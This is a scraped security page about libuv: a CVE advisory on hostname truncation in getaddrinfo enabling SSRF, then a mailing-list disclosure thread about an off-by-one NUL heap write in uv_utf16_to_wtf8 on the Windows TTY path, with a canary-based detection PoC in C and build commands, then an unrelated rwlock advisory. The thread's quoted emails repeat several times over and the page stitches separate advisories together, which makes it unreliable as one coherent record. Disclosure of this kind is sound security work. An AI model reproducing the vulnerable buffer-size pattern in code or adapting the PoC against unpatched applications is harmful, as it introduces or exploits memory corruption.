libuv is a multi-platform support library with a focus on asynchronous I/O. The uvgetaddrinfo function in src/unix/getaddrinfo.c (and its windows counterpart src/win/getaddrinfo.c), truncates hostnames to 256 characters before calling getaddrinfo. This behavior can be exploited to create addresses like 0x00007f000001, which are considered valid by getaddrinfo and could allow an attacker to craft payloads that resolve to unintended IP addresses, bypassing developer checks. The vulnerability arises due to how the hostnameascii variable (with a length of 256 bytes) is handled in uvgetaddrinfo and subsequently in uvidnatoascii. When the hostname exceeds 256 characters, it gets truncated without a terminating null byte. As a result attackers may be able to access internal APIs or for websites (similar to MySpace) that allows users to have username.example.com pages. Internal services that crawl or cache these user pages can be exposed to SSRF attacks if a malicious user chooses a long vulnerable username. This issue has been addressed in release version 1.48.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.
When I requested that my report be published and asked for a CVE for this vulnerability, the maintainers (CC) closed my advisory report, saying: “A zero byte is written past the end of the buffer, right? There’s not much attack surface there since it’s in the TTY code. Users don’t regularly pwn themselves, one would hope.”
But I am still in favor as it's still a genuine heap buffer overflow: the NUL byte lands one past the allocated region, which can corrupt heap metadata or an adjacent allocation's first byte. In the right conditions (e.g., an application embedding libuv that reads TTY input into a buffer sized divisible by 3), this could lead to heap corruption. Low severity for sure, but it's a real out-of-bounds write rather than a theoretical one and the PoC confirms it reliably on every run. Even CWE-193 (off-by-one) with a NUL byte has been assigned CVEs in similar libraries before.
On Thu, 19 Mar 2026 at 21:56, Ali Raza <elirazamumtaz () gmail com> wrote: It got patched and merged via this PR https://github.com/libuv/libuv/commit/ec0ab5d77d32d836a60b024fa43d54ed3ce3ce87
Best,
Ali Raza (@locus-x64)
On Thu, 19 Mar 2026 at 21:48, Ali Raza <elirazamumtaz () gmail com> wrote: PoC
Tested on Windows 10 22H2 x64, Visual Studio 2022 Build Tools, libuv v1.x HEAD.
This is a detection-only PoC — it places a canary byte after the buffer and checks if the NUL overwrites it. No exploitation attempted.
1. Build libuv:
cmd git clone https://github.com/libuv/libuv.git cd libuv && git checkout v1.x mkdir build && cd build cmake .. -G "NMake Makefiles" -DCMAKEBUILDTYPE=Release -DBUILDTESTING=OFF -DLIBUVBUILDSHARED=OFF nmake cd ..
2. Save as poc\poc.c:
c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include "uv.h"
#define CJKCHAR 0x4E2D / U+4E2D (中) — 3 UTF-8 bytes /
static int testoverflow(sizet bufsize) { sizet numchars = bufsize / 3; char mem = (char )malloc(bufsize + 16); uint16t utf16 = (uint16t )malloc(numchars sizeof(uint16t)); char target; sizet targetlen; unsigned char canary; int rc;
if (!mem || !utf16) { free(mem); free(utf16); return -1; }
memset(mem, 0xAA, bufsize + 16); for (sizet i = 0; i < numchars; i++) utf16[i] = CJKCHAR;
target = mem; targetlen = bufsize; / reproduces the tty.c:558 pattern — no -1 / rc = uvutf16towtf8(utf16, (ssizet)numchars, &target, &targetlen); canary = (unsigned char)mem[bufsize];
printf(" buf=%-5zu chars=%-4zu rc=%-3d byteafter=0x%02X %s\n", bufsize, numchars, rc, canary, canary == 0x00 ? "OVERFLOW" : "ok");
free(utf16); free(mem); return canary == 0x00 ? 1 : 0; }
int main(void) { sizet sizes[] = {48, 96, 192, 384, 768, 1536, 3072, 6144}; int n = sizeof(sizes) / sizeof(sizes[0]); int hits = 0;
printf("=== uvutf16towtf8() off-by-one PoC ===\n\n"); printf("Test: buffer sizes divisible by 3 (should overflow):\n"); for (int i = 0; i < n; i++) hits += testoverflow(sizes[i]);
printf("\nControl: buffer size NOT divisible by 3:\n"); testoverflow(100);
printf("\n%s: %d/%d overflows detected\n", hits > 0 ? "VULNERABLE" : "NOT VULNERABLE", hits, n); return hits > 0 ? 1 : 0; }
3. Compile and run (from x64 Native Tools Command Prompt for VS 2022):
cmd mkdir poc && cd poc cl /nologo /W3 /MD poc.c /I ..\include /link /LIBPATH:..\build libuv.lib advapi32.lib iphlpapi.lib psapi.lib shell32.lib user32.lib userenv.lib ws232.lib dbghelp.lib ole32.lib uuid.lib poc.exe
Output: SS Attached
Impact
Out-of-bounds heap write (1 NUL byte) triggered by console input on Windows. The practical impact depends on heap layout and allocator behavior in the consuming application. Any Windows application using libuv's TTY line reading with a read buffer size divisible by 3 is affected. Versions v1.47.0 through current v1.x HEAD.
Best,
Ali Raza (@locus-x64)
On Thu, 19 Mar 2026 at 21:45, Ali Raza <elirazamumtaz () gmail com> wrote: Last few days ago I found an off-by-one heap buffer overflow in libuv. Off-by-one NUL write past a heap buffer in uvutf16towtf8() when called from the Windows TTY line-read path. When a user types or pastes CJK characters into a Windows console application backed by libuv, a 1-byte out-of-bounds NUL write occurs if the read buffer size is divisible by 3.
I found this while reading through the TTY code. uvutf16towtf8() in src/idna.c unconditionally writes a NUL terminator at: c target++ = '\0'; // idna.c:550 -- writes at target[targetlen] when buffer is full
The function's own comment says targetlenptr should be the length excluding space for NUL. Two callers in util.c handle this correctly: c utf8len = sizeptr - 1; / Reserve space for NUL / // util.c:126 size -= 1; / Reserve space for NUL. / // util.c:1121
But the TTY line-read path passes the full buffer size without the subtraction: c readbytes = bytes; // tty.c:558 — should be bytes - 1 uvutf16towtf8(utf16, readchars, &handle->tty.rd.readlinebuffer.base, &readbytes);
The overflow happens when all the input characters encode to exactly 3 UTF-8 bytes each (BMP characters in U+0800–U+FFFF range, like CJK ideographs). The TTY code computes chars = bytes / 3 (tty.c:540), so when bytes % 3 == 0, the worst-case output chars 3 equals bytes exactly, and the NUL terminator writes one byte past the buffer.
The buffer size comes from the application's alloccb. libuv suggests 8192 (not divisible by 3), but any application returning a size that's divisible by 3 hits this.
Introduced in v1.47.0 (commit f3889085, PR #4021), still present on v1.x HEAD.
Best
Ali Raza (@locus-x64)
On 2026/03/19 21:45, Ali Raza wrote: Last few days ago I found an off-by-one heap buffer overflow in libuv. Off-by-one NUL write past a heap buffer in uvutf16towtf8() when called from the Windows TTY line-read path. When a user types or pastes CJK characters into a Windows console application backed by libuv, a 1-byte out-of-bounds NUL write occurs if the read buffer size is divisible by 3.
I found this while reading through the TTY code. uvutf16towtf8() in src/idna.c unconditionally writes a NUL terminator at: c target++ = '\0'; // idna.c:550 -- writes at target[targetlen] when buffer is full
The function's own comment says targetlenptr should be the length excluding space for NUL. Two callers in util.c handle this correctly: c utf8len = sizeptr - 1; / Reserve space for NUL / // util.c:126 size -= 1; / Reserve space for NUL. / // util.c:1121
But the TTY line-read path passes the full buffer size without the subtraction: c readbytes = bytes; // tty.c:558 — should be bytes - 1 uvutf16towtf8(utf16, readchars, &handle->tty.rd.readlinebuffer.base, &readbytes);
The overflow happens when all the input characters encode to exactly 3 UTF-8 bytes each (BMP characters in U+0800–U+FFFF range, like CJK ideographs). The TTY code computes chars = bytes / 3 (tty.c:540), so when bytes % 3 == 0, the worst-case output chars 3 equals bytes exactly, and the NUL terminator writes one byte past the buffer.
The buffer size comes from the application's alloccb. libuv suggests 8192 (not divisible by 3), but any application returning a size that's divisible by 3 hits this.
Introduced in v1.47.0 (commit f3889085, PR #4021), still present on v1.x HEAD. Seems the fix for this was merged last week?
https://github.com/libuv/libuv/commit/ec0ab5d77d32d836a60b024fa43d54ed3ce3ce87
It got patched and merged via this PR https://github.com/libuv/libuv/commit/ec0ab5d77d32d836a60b024fa43d54ed3ce3ce87
Best,
Ali Raza (@locus-x64)
On Thu, 19 Mar 2026 at 21:48, Ali Raza <elirazamumtaz () gmail com> wrote: PoC
Tested on Windows 10 22H2 x64, Visual Studio 2022 Build Tools, libuv v1.x HEAD.
This is a detection-only PoC — it places a canary byte after the buffer and checks if the NUL overwrites it. No exploitation attempted.
1. Build libuv:
cmd git clone https://github.com/libuv/libuv.git cd libuv && git checkout v1.x mkdir build && cd build cmake .. -G "NMake Makefiles" -DCMAKEBUILDTYPE=Release -DBUILDTESTING=OFF -DLIBUVBUILDSHARED=OFF nmake cd ..
2. Save as poc\poc.c:
c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include "uv.h"
#define CJKCHAR 0x4E2D / U+4E2D (中) — 3 UTF-8 bytes /
static int testoverflow(sizet bufsize) { sizet numchars = bufsize / 3; char mem = (char )malloc(bufsize + 16); uint16t utf16 = (uint16t )malloc(numchars sizeof(uint16t)); char target; sizet targetlen; unsigned char canary; int rc;
if (!mem || !utf16) { free(mem); free(utf16); return -1; }
memset(mem, 0xAA, bufsize + 16); for (sizet i = 0; i < numchars; i++) utf16[i] = CJKCHAR;
target = mem; targetlen = bufsize; / reproduces the tty.c:558 pattern — no -1 / rc = uvutf16towtf8(utf16, (ssizet)numchars, &target, &targetlen); canary = (unsigned char)mem[bufsize];
printf(" buf=%-5zu chars=%-4zu rc=%-3d byteafter=0x%02X %s\n", bufsize, numchars, rc, canary, canary == 0x00 ? "OVERFLOW" : "ok");
free(utf16); free(mem); return canary == 0x00 ? 1 : 0; }
int main(void) { sizet sizes[] = {48, 96, 192, 384, 768, 1536, 3072, 6144}; int n = sizeof(sizes) / sizeof(sizes[0]); int hits = 0;
printf("=== uvutf16towtf8() off-by-one PoC ===\n\n"); printf("Test: buffer sizes divisible by 3 (should overflow):\n"); for (int i = 0; i < n; i++) hits += testoverflow(sizes[i]);
printf("\nControl: buffer size NOT divisible by 3:\n"); testoverflow(100);
printf("\n%s: %d/%d overflows detected\n", hits > 0 ? "VULNERABLE" : "NOT VULNERABLE", hits, n); return hits > 0 ? 1 : 0; }
3. Compile and run (from x64 Native Tools Command Prompt for VS 2022):
cmd mkdir poc && cd poc cl /nologo /W3 /MD poc.c /I ..\include /link /LIBPATH:..\build libuv.lib advapi32.lib iphlpapi.lib psapi.lib shell32.lib user32.lib userenv.lib ws232.lib dbghelp.lib ole32.lib uuid.lib poc.exe
Output: SS Attached
Impact
Out-of-bounds heap write (1 NUL byte) triggered by console input on Windows. The practical impact depends on heap layout and allocator behavior in the consuming application. Any Windows application using libuv's TTY line reading with a read buffer size divisible by 3 is affected. Versions v1.47.0 through current v1.x HEAD.
Best,
Ali Raza (@locus-x64)
On Thu, 19 Mar 2026 at 21:45, Ali Raza <elirazamumtaz () gmail com> wrote: Last few days ago I found an off-by-one heap buffer overflow in libuv. Off-by-one NUL write past a heap buffer in uvutf16towtf8() when called from the Windows TTY line-read path. When a user types or pastes CJK characters into a Windows console application backed by libuv, a 1-byte out-of-bounds NUL write occurs if the read buffer size is divisible by 3.
I found this while reading through the TTY code. uvutf16towtf8() in src/idna.c unconditionally writes a NUL terminator at: c target++ = '\0'; // idna.c:550 -- writes at target[targetlen] when buffer is full
The function's own comment says targetlenptr should be the length excluding space for NUL. Two callers in util.c handle this correctly: c utf8len = sizeptr - 1; / Reserve space for NUL / // util.c:126 size -= 1; / Reserve space for NUL. / // util.c:1121
But the TTY line-read path passes the full buffer size without the subtraction: c readbytes = bytes; // tty.c:558 — should be bytes - 1 uvutf16towtf8(utf16, readchars, &handle->tty.rd.readlinebuffer.base, &readbytes);
The overflow happens when all the input characters encode to exactly 3 UTF-8 bytes each (BMP characters in U+0800–U+FFFF range, like CJK ideographs). The TTY code computes chars = bytes / 3 (tty.c:540), so when bytes % 3 == 0, the worst-case output chars 3 equals bytes exactly, and the NUL terminator writes one byte past the buffer.
The buffer size comes from the application's alloccb. libuv suggests 8192 (not divisible by 3), but any application returning a size that's divisible by 3 hits this.
Introduced in v1.47.0 (commit f3889085, PR #4021), still present on v1.x HEAD.
Best
Ali Raza (@locus-x64)
PoC
Tested on Windows 10 22H2 x64, Visual Studio 2022 Build Tools, libuv v1.x HEAD.
This is a detection-only PoC — it places a canary byte after the buffer and checks if the NUL overwrites it. No exploitation attempted.
1. Build libuv:
cmd git clone https://github.com/libuv/libuv.git cd libuv && git checkout v1.x mkdir build && cd build cmake .. -G "NMake Makefiles" -DCMAKEBUILDTYPE=Release -DBUILDTESTING=OFF -DLIBUVBUILDSHARED=OFF nmake cd ..
2. Save as poc\poc.c:
c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include "uv.h"
#define CJKCHAR 0x4E2D / U+4E2D (中) — 3 UTF-8 bytes /
static int testoverflow(sizet bufsize) { sizet numchars = bufsize / 3; char mem = (char )malloc(bufsize + 16); uint16t utf16 = (uint16t )malloc(numchars sizeof(uint16t)); char target; sizet targetlen; unsigned char canary; int rc;
if (!mem || !utf16) { free(mem); free(utf16); return -1; }
memset(mem, 0xAA, bufsize + 16); for (sizet i = 0; i < numchars; i++) utf16[i] = CJKCHAR;
target = mem; targetlen = bufsize; / reproduces the tty.c:558 pattern — no -1 / rc = uvutf16towtf8(utf16, (ssizet)numchars, &target, &targetlen); canary = (unsigned char)mem[bufsize];
printf(" buf=%-5zu chars=%-4zu rc=%-3d byteafter=0x%02X %s\n", bufsize, numchars, rc, canary, canary == 0x00 ? "OVERFLOW" : "ok");
free(utf16); free(mem); return canary == 0x00 ? 1 : 0; }
int main(void) { sizet sizes[] = {48, 96, 192, 384, 768, 1536, 3072, 6144}; int n = sizeof(sizes) / sizeof(sizes[0]); int hits = 0;
printf("=== uvutf16towtf8() off-by-one PoC ===\n\n"); printf("Test: buffer sizes divisible by 3 (should overflow):\n"); for (int i = 0; i < n; i++) hits += testoverflow(sizes[i]);
printf("\nControl: buffer size NOT divisible by 3:\n"); testoverflow(100);
printf("\n%s: %d/%d overflows detected\n", hits > 0 ? "VULNERABLE" : "NOT VULNERABLE", hits, n); return hits > 0 ? 1 : 0; }
3. Compile and run (from x64 Native Tools Command Prompt for VS 2022):
cmd mkdir poc && cd poc cl /nologo /W3 /MD poc.c /I ..\include /link /LIBPATH:..\build libuv.lib advapi32.lib iphlpapi.lib psapi.lib shell32.lib user32.lib userenv.lib ws232.lib dbghelp.lib ole32.lib uuid.lib poc.exe
Output: SS Attached
Impact
Out-of-bounds heap write (1 NUL byte) triggered by console input on Windows. The practical impact depends on heap layout and allocator behavior in the consuming application. Any Windows application using libuv's TTY line reading with a read buffer size divisible by 3 is affected. Versions v1.47.0 through current v1.x HEAD.
Best,
Ali Raza (@locus-x64)
On Thu, 19 Mar 2026 at 21:45, Ali Raza <elirazamumtaz () gmail com> wrote: Last few days ago I found an off-by-one heap buffer overflow in libuv. Off-by-one NUL write past a heap buffer in uvutf16towtf8() when called from the Windows TTY line-read path. When a user types or pastes CJK characters into a Windows console application backed by libuv, a 1-byte out-of-bounds NUL write occurs if the read buffer size is divisible by 3.
I found this while reading through the TTY code. uvutf16towtf8() in src/idna.c unconditionally writes a NUL terminator at: c target++ = '\0'; // idna.c:550 -- writes at target[targetlen] when buffer is full
The function's own comment says targetlenptr should be the length excluding space for NUL. Two callers in util.c handle this correctly: c utf8len = sizeptr - 1; / Reserve space for NUL / // util.c:126 size -= 1; / Reserve space for NUL. / // util.c:1121
But the TTY line-read path passes the full buffer size without the subtraction: c readbytes = bytes; // tty.c:558 — should be bytes - 1 uvutf16towtf8(utf16, readchars, &handle->tty.rd.readlinebuffer.base, &readbytes);
The overflow happens when all the input characters encode to exactly 3 UTF-8 bytes each (BMP characters in U+0800–U+FFFF range, like CJK ideographs). The TTY code computes chars = bytes / 3 (tty.c:540), so when bytes % 3 == 0, the worst-case output chars 3 equals bytes exactly, and the NUL terminator writes one byte past the buffer.
The buffer size comes from the application's alloccb. libuv suggests 8192 (not divisible by 3), but any application returning a size that's divisible by 3 hits this.
Introduced in v1.47.0 (commit f3889085, PR #4021), still present on v1.x HEAD.
Best
Ali Raza (@locus-x64)
Last few days ago I found an off-by-one heap buffer overflow in libuv. Off-by-one NUL write past a heap buffer in uvutf16towtf8() when called from the Windows TTY line-read path. When a user types or pastes CJK characters into a Windows console application backed by libuv, a 1-byte out-of-bounds NUL write occurs if the read buffer size is divisible by 3.
I found this while reading through the TTY code. uvutf16towtf8() in src/idna.c unconditionally writes a NUL terminator at: c target++ = '\0'; // idna.c:550 -- writes at target[targetlen] when buffer is full
The function's own comment says targetlenptr should be the length excluding space for NUL. Two callers in util.c handle this correctly: c utf8len = sizeptr - 1; / Reserve space for NUL / // util.c:126 size -= 1; / Reserve space for NUL. / // util.c:1121
But the TTY line-read path passes the full buffer size without the subtraction: c readbytes = bytes; // tty.c:558 — should be bytes - 1 uvutf16towtf8(utf16, readchars, &handle->tty.rd.readlinebuffer.base, &readbytes);
The overflow happens when all the input characters encode to exactly 3 UTF-8 bytes each (BMP characters in U+0800–U+FFFF range, like CJK ideographs). The TTY code computes chars = bytes / 3 (tty.c:540), so when bytes % 3 == 0, the worst-case output chars 3 equals bytes exactly, and the NUL terminator writes one byte past the buffer.
The buffer size comes from the application's alloccb. libuv suggests 8192 (not divisible by 3), but any application returning a size that's divisible by 3 hits this.
Introduced in v1.47.0 (commit f3889085, PR #4021), still present on v1.x HEAD.
Best
Ali Raza (@locus-x64)
The uvrwlockt fallback implementation for Windows XP and Server 2003 in libuv before 1.7.4 does not properly prevent threads from releasing the locks of other threads, which allows attackers to cause a denial of service (deadlock) or possibly have unspecified other impact by leveraging a race condition.